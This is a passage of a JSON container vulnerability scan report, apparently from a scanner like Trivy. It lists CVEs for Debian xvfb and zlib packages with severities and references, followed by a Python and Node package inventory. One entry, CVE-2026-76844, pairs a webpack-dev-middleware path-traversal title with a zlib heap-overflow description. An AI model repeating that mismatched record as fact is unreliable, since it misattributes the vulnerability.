"https://bugzilla.redhat.com/show_bug.cgi?id=2545860", "https://bugzilla.redhat.com/show_bug.cgi?id=2545887", "https://bugzilla.redhat.com/show_bug.cgi?id=2545908", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-88812", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93517", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93518", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93519", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93520", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93521", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93522", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93523", "https://errata.almalinux.org/9/ALSA-2026-85193.html", "https://errata.rockylinux.org/RLSA-2026:85193", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/5dc9efd5a199717b53f70b9c6cd336a522370e46", "https://linux.oracle.com/cve/CVE-2026-93521.html", "https://linux.oracle.com/errata/ELSA-2026-89747.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-93521", "https://www.cve.org/CVERecord?id=CVE-2026-93521" ], "PublishedDate": "2026-10-28T16:17:10.06Z", "LastModifiedDate": "2026-10-29T15:04:37.187Z" }, { "VulnerabilityID": "CVE-2026-93523", "PkgID": "xvfb@2:21.1.7-3+deb12u11", "PkgName": "xvfb", "PkgIdentifier": { "PURL": "pkg:deb/debian/xvfb@21.1.7-3%2Bdeb12u11?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "c3428f4210942877" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "Status": "affected", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-93523", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cfed36182898670fb8d36695cc9a8fdc0120fac3e1830b740806783049f8dd1e", "Title": "xorg-x11-server: xorg-x11-server: Out-of-bounds write via unvalidated modifier in ProcXIPassiveUngrabDevice", "Description": "A heap buffer overflow caused by a XIPassiveUngrabDevice request with an out-of-range modifier value in X.Org X Server before 21.1.15 and XWayland before 24.1.14 could be used by authenticated X clients to crash or potentially execute code in X server context.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:85193", "https://access.redhat.com/security/cve/CVE-2026-93523", "https://bugzilla.redhat.com/2545161", "https://bugzilla.redhat.com/2545164", "https://bugzilla.redhat.com/2545174", "https://bugzilla.redhat.com/2545177", "https://bugzilla.redhat.com/2545178", "https://bugzilla.redhat.com/2545246", "https://bugzilla.redhat.com/2545860", "https://bugzilla.redhat.com/2545887", "https://bugzilla.redhat.com/2545908", "https://bugzilla.redhat.com/show_bug.cgi?id=2545161", "https://bugzilla.redhat.com/show_bug.cgi?id=2545164", "https://bugzilla.redhat.com/show_bug.cgi?id=2545174", "https://bugzilla.redhat.com/show_bug.cgi?id=2545177", "https://bugzilla.redhat.com/show_bug.cgi?id=2545178", "https://bugzilla.redhat.com/show_bug.cgi?id=2545246", "https://bugzilla.redhat.com/show_bug.cgi?id=2545860", "https://bugzilla.redhat.com/show_bug.cgi?id=2545887", "https://bugzilla.redhat.com/show_bug.cgi?id=2545908", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-88812", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93517", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93518", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93519", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93520", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93521", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93522", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93523", "https://errata.almalinux.org/9/ALSA-2026-85193.html", "https://errata.rockylinux.org/RLSA-2026:85193", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/37a1847a60c6799aecf163a5cfa40077a9002675", "https://linux.oracle.com/cve/CVE-2026-93523.html", "https://linux.oracle.com/errata/ELSA-2026-89747.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-93523", "https://www.cve.org/CVERecord?id=CVE-2026-93523" ], "PublishedDate": "2026-10-28T17:18:53.22Z", "LastModifiedDate": "2026-11-07T05:19:02.66Z" }, { "VulnerabilityID": "CVE-2023-45853", "PkgID": "zlib1g@1:1.2.13.dfsg-1", "PkgName": "zlib1g", "PkgIdentifier": { "PURL": "pkg:deb/debian/zlib1g@1.2.13.dfsg-1?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "b8af482209fecace" }, "InstalledVersion": "1:1.2.13.dfsg-1", "Status": "will_not_fix", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2023-45853", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bd6c2fe16f9881dd9c66d6f2cb0cc02b71873b6365f583fad697e68f79171c3c", "Title": "zlib: integer overflow and resultant heap-based buffer overflow in zipOpenNewFileInZip4_6", "Description": "MiniZip in zlib through 1.3 has an integer overflow and resultant heap-based buffer overflow in zipOpenNewFileInZip4_64 via a long filename, comment, or extra field. NOTE: MiniZip is not a supported part of the zlib product. NOTE: pyminizip through 0.2.6 is also vulnerable because it bundles an affected zlib version, and exposes the applicable MiniZip code through its compress API.", "Severity": "CRITICAL", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 3, "cbl-mariner": 4, "ghsa": 4, "julia": 4, "nvd": 4, "photon": 4, "redhat": 2, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "V3Score": 5.3 } }, "References": [ "http://www.openwall.com/lists/oss-security/2023/10/20/9", "http://www.openwall.com/lists/oss-security/2024/01/24/10", "https://access.redhat.com/security/cve/CVE-2023-45853", "https://cert-portal.siemens.com/productcert/html/ssa-398330.html", "https://cert-portal.siemens.com/productcert/html/ssa-470355.html", "https://cert-portal.siemens.com/productcert/html/ssa-769027.html", "https://chromium.googlesource.com/chromium/src/+/d709fb23806858847131027da95ef4c548813356", "https://chromium.googlesource.com/chromium/src/+/de29dd6c7151d3cd37cb4cf0036800ddfb1d8b61", "https://github.com/madler/zlib/blob/ac8f12c97d1afd9bafa9c710f827d40a407d3266/contrib/README.contrib#L1-L4", "https://github.com/madler/zlib/commit/73331a6a0481067628f065ffe87bb1d8f787d10c", "https://github.com/madler/zlib/pull/843", "https://github.com/smihica/pyminizip", "https://github.com/smihica/pyminizip/blob/master/zlib-1.2.11/contrib/minizip/zip.c", "https://lists.debian.org/debian-lts-announce/2023/11/msg00026.html", "https://nvd.nist.gov/vuln/detail/CVE-2023-45853", "https://pypi.org/project/pyminizip/#history", "https://security.gentoo.org/glsa/202401-18", "https://security.netapp.com/advisory/ntap-20231130-0009", "https://security.netapp.com/advisory/ntap-20231130-0009/", "https://ubuntu.com/security/notices/USN-7107-1", "https://www.cve.org/CVERecord?id=CVE-2023-45853", "https://www.winimage.com/zLibDll/minizip.html" ], "PublishedDate": "2023-10-14T02:15:09.323Z", "LastModifiedDate": "2026-10-15T00:16:39.75Z" }, { "VulnerabilityID": "CVE-2026-76844", "PkgID": "zlib1g@1:1.2.13.dfsg-1", "PkgName": "zlib1g", "PkgIdentifier": { "PURL": "pkg:deb/debian/zlib1g@1.2.13.dfsg-1?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "b8af482209fecace" }, "InstalledVersion": "1:1.2.13.dfsg-1", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76844", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cb05e03de0950bc1e38b133ef53587edc967126e8a4cb881c298a7d72db22043", "Title": "webpack-dev-middleware: webpack-dev-middleware: Information Disclosure via Path Traversal", "Description": "zlib 1.2.11 through 1.3.2 contains a heap buffer overflow: after an underlying write() fails, gz_write() returns without resetting strm.next_in, leaving it pointed at the caller's buffer. A later gz* write call then derives a position from the stale pointer and writes past a heap allocation; any write() failure reaches it, including EPIPE on a blocking descriptor, and in versions before 1.3.1.2 the failed write must be followed by a gzclearerr() call.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 2, "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N", "V3Score": 7.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "V3Score": 8.6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-76844", "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490", "https://github.com/advisories/GHSA-wr3j-pwj9-hqq6", "https://github.com/madler/zlib", "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393", "https://github.com/madler/zlib/commit/df84af25dc1942490e1d1c899a07619152a46148", "https://github.com/webpack/webpack-dev-middleware", "https://github.com/webpack/webpack-dev-middleware/blob/v8.1.1/src/middleware.js", "https://github.com/webpack/webpack-dev-middleware/commit/13344e78b26d88fe9b7c8381a3860e248a52359b", "https://github.com/webpack/webpack-dev-middleware/commit/cefccbac330c29052fc6dffe85fd292ea2ac782b", "https://github.com/webpack/webpack-dev-middleware/pull/2404", "https://github.com/webpack/webpack-dev-middleware/releases/tag/v7.4.6", "https://github.com/webpack/webpack-dev-middleware/releases/tag/v8.3.0", "https://github.com/webpack/webpack-dev-middleware/security/advisories/GHSA-g84c-rxfj-3j2c", "https://nvd.nist.gov/vuln/detail/CVE-2026-76844", "https://www.cve.org/CVERecord?id=CVE-2026-76844", "https://www.vulncheck.com/advisories/webpack-dev-middleware-path-traversal-via-offset-slice-on-a-non-slash-terminated-publicpath", "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate" ], "PublishedDate": "2026-08-24T14:17:02.25Z", "LastModifiedDate": "2026-10-12T17:10:00.163Z" }, { "VulnerabilityID": "CVE-2026-85091", "PkgID": "zlib1g@1:1.2.13.dfsg-1", "PkgName": "zlib1g", "PkgIdentifier": { "PURL": "pkg:deb/debian/zlib1g@1.2.13.dfsg-1?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "b8af482209fecace" }, "InstalledVersion": "1:1.2.13.dfsg-1", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-85091", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b1adcdf208b7407f13cfd7a2217d48abf0c48f8081607f4ae018e529514b1276", "Title": "zlib: zlib: Heap buffer overflow in gz_vacate() allows arbitrary code execution", "Description": "zlib versions 1.3.1.2 through 1.3.2 contain a heap buffer overflow vulnerability in the gz_vacate() function when processing non-blocking gzwrite() operations with stale external buffer pointers. Attackers can trigger the overflow by calling gzprintf() or gzvprintf() after a write stall, causing an unchecked memmove() to write beyond the internal input buffer boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-85091", "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490", "https://github.com/madler/zlib", "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393", "https://nvd.nist.gov/vuln/detail/CVE-2026-85091", "https://ubuntu.com/security/notices/USN-8954-1", "https://www.cve.org/CVERecord?id=CVE-2026-85091", "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate" ], "PublishedDate": "2026-09-03T13:06:20.573Z", "LastModifiedDate": "2026-09-09T20:41:07.123Z" } ] }, { "Target": "Node.js", "Class": "lang-pkgs", "Type": "node-pkg", "Packages": [ { "ID": "playwright-core@1.58.0", "Name": "playwright-core", "Identifier": { "PURL": "pkg:npm/playwright-core@1.58.0", "UID": "4d997040a5e9bf42" }, "Version": "1.58.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/playwright/driver/package/package.json", "AnalyzedBy": "node-pkg" } ] }, { "Target": "Python", "Class": "lang-pkgs", "Type": "python-pkg", "Packages": [ { "Name": "ConfigArgParse", "Identifier": { "PURL": "pkg:pypi/configargparse@1.7.1", "UID": "16d83bbd06a27dcd" }, "Version": "1.7.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/configargparse-1.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "GitPython", "Identifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "Version": "3.1.46", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "Jinja2", "Identifier": { "PURL": "pkg:pypi/jinja2@3.1.6", "UID": "39347da600073b2b" }, "Version": "3.1.6", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/jinja2-3.1.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "MarkupSafe", "Identifier": { "PURL": "pkg:pypi/markupsafe@3.0.3", "UID": "85265b4f2a1c9621" }, "Version": "3.0.3", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/markupsafe-3.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PyYAML", "Identifier": { "PURL": "pkg:pypi/pyyaml@6.0.3", "UID": "c8ba144cf4fe03a4" }, "Version": "6.0.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/pyyaml-6.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "Pygments", "Identifier": { "PURL": "pkg:pypi/pygments@2.19.2", "UID": "ec4bf06e9bae59d6" }, "Version": "2.19.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/pygments-2.19.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aider-chat", "Identifier": { "PURL": "pkg:pypi/aider-chat@0.86.2", "UID": "781a42b34aac9bd9" }, "Version": "0.86.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/aider_chat-0.86.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiohappyeyeballs", "Identifier": { "PURL": "pkg:pypi/aiohappyeyeballs@2.6.1", "UID": "acfb21c6a48546e4" }, "Version": "2.6.1", "Licenses": [ "Python Software Foundation License" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/aiohappyeyeballs-2.6.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiohttp", "Identifier": { "PURL": "pkg:pypi/aiohttp@3.13.3", "UID": "87a5fefca6535570" }, "Version": "3.13.3", "Licenses": [ "Apache-2.0 AND MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/aiohttp-3.13.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiosignal", "Identifier": { "PURL": "pkg:pypi/aiosignal@1.4.0", "UID": "4803893927e2b2dc" }, "Version": "1.4.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/aiosignal-1.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "annotated-doc", "Identifier": { "PURL": "pkg:pypi/annotated-doc@0.0.4", "UID": "e05cca1d5ab1814f" }, "Version": "0.0.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/annotated_doc-0.0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "annotated-types", "Identifier": { "PURL": "pkg:pypi/annotated-types@0.7.0", "UID": "7756ceacf9232287" }, "Version": "0.7.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/annotated_types-0.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "anyio", "Identifier": { "PURL": "pkg:pypi/anyio@4.12.1", "UID": "dc73eaca3f8359fb" }, "Version": "4.12.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/anyio-4.12.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "asgiref", "Identifier": { "PURL": "pkg:pypi/asgiref@3.11.1", "UID": "cb7a54265e60dfab" }, "Version": "3.11.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/asgiref-3.11.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "attrs", "Identifier": { "PURL": "pkg:pypi/attrs@25.4.0", "UID": "adbf00d608bcac37" }, "Version": "25.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/attrs-25.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "backoff", "Identifier": { "PURL": "pkg:pypi/backoff@2.2.1", "UID": "524aa352cc9850b4" }, "Version": "2.2.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/backoff-2.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "beautifulsoup4", "Identifier": { "PURL": "pkg:pypi/beautifulsoup4@4.14.3", "UID": "830a7ca1b25a17a2" }, "Version": "4.14.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/beautifulsoup4-4.14.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "boto3", "Identifier": { "PURL": "pkg:pypi/boto3@1.42.47", "UID": "f75b1e768c73fc23" }, "Version": "1.42.47", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/boto3-1.42.47.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "botocore", "Identifier": { "PURL": "pkg:pypi/botocore@1.42.47", "UID": "77b813c9e9e703a1" }, "Version": "1.42.47", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/botocore-1.42.47.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "certifi", "Identifier": { "PURL": "pkg:pypi/certifi@2026.1.4", "UID": "51dc209cc01d7744" }, "Version": "2026.1.4", "Licenses": [ "MPL-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/certifi-2026.1.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "cffi", "Identifier": { "PURL": "pkg:pypi/cffi@2.0.0", "UID": "f104513e034ffa76" }, "Version": "2.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/cffi-2.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "charset-normalizer", "Identifier": { "PURL": "pkg:pypi/charset-normalizer@3.4.4", "UID": "9bebb098a0c4d132" }, "Version": "3.4.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/charset_normalizer-3.4.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "click", "Identifier": { "PURL": "pkg:pypi/click@8.3.1", "UID": "5cd3ff0112758c67" }, "Version": "8.3.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/click-8.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "cryptography", "Identifier": { "PURL": "pkg:pypi/cryptography@46.0.5", "UID": "7aecf2f37fe56d83" }, "Version": "46.0.5", "Licenses": [ "Apache-2.0 OR BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/cryptography-46.0.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "diff-match-patch", "Identifier": { "PURL": "pkg:pypi/diff-match-patch@20241021", "UID": "820bdc18415b859a" }, "Version": "20241021", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/diff_match_patch-20241021.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "diskcache", "Identifier": { "PURL": "pkg:pypi/diskcache@5.6.3", "UID": "c3b1944b735d6de3" }, "Version": "5.6.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/diskcache-5.6.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "distro", "Identifier": { "PURL": "pkg:pypi/distro@1.9.0", "UID": "c145348d7e5595e2" }, "Version": "1.9.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/distro-1.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "docstring_parser", "Identifier": { "PURL": "pkg:pypi/docstring-parser@0.17.0", "UID": "b49b5e17c63b346d" }, "Version": "0.17.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/docstring_parser-0.17.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "fastapi", "Identifier": { "PURL": "pkg:pypi/fastapi@0.128.8", "UID": "b2e128ff1aeb7cf2" }, "Version": "0.128.8", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/fastapi-0.128.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "fastuuid", "Identifier": { "PURL": "pkg:pypi/fastuuid@0.14.0", "UID": "b5669f065a4d340a" }, "Version": "0.14.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/fastuuid-0.14.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "filelock", "Identifier": { "PURL": "pkg:pypi/filelock@3.20.3", "UID": "39d54156bf0d3b4c" }, "Version": "3.20.3", "Licenses": [ "Unlicense" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/filelock-3.20.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "flake8", "Identifier": { "PURL": "pkg:pypi/flake8@7.3.0", "UID": "5ec8e9167d096037" }, "Version": "7.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/flake8-7.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "frozenlist", "Identifier": { "PURL": "pkg:pypi/frozenlist@1.8.0", "UID": "fa7a70b429e8f732" }, "Version": "1.8.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/frozenlist-1.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "fsspec", "Identifier": { "PURL": "pkg:pypi/fsspec@2026.2.0", "UID": "20539af903fe9c49" }, "Version": "2026.2.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/fsspec-2026.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "gitdb", "Identifier": { "PURL": "pkg:pypi/gitdb@4.0.12", "UID": "7f70485b316d6b7e" }, "Version": "4.0.12", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/gitdb-4.0.12.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-api-core", "Identifier": { "PURL": "pkg:pypi/google-api-core@2.29.0", "UID": "96f76d80de582a74" }, "Version": "2.29.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": 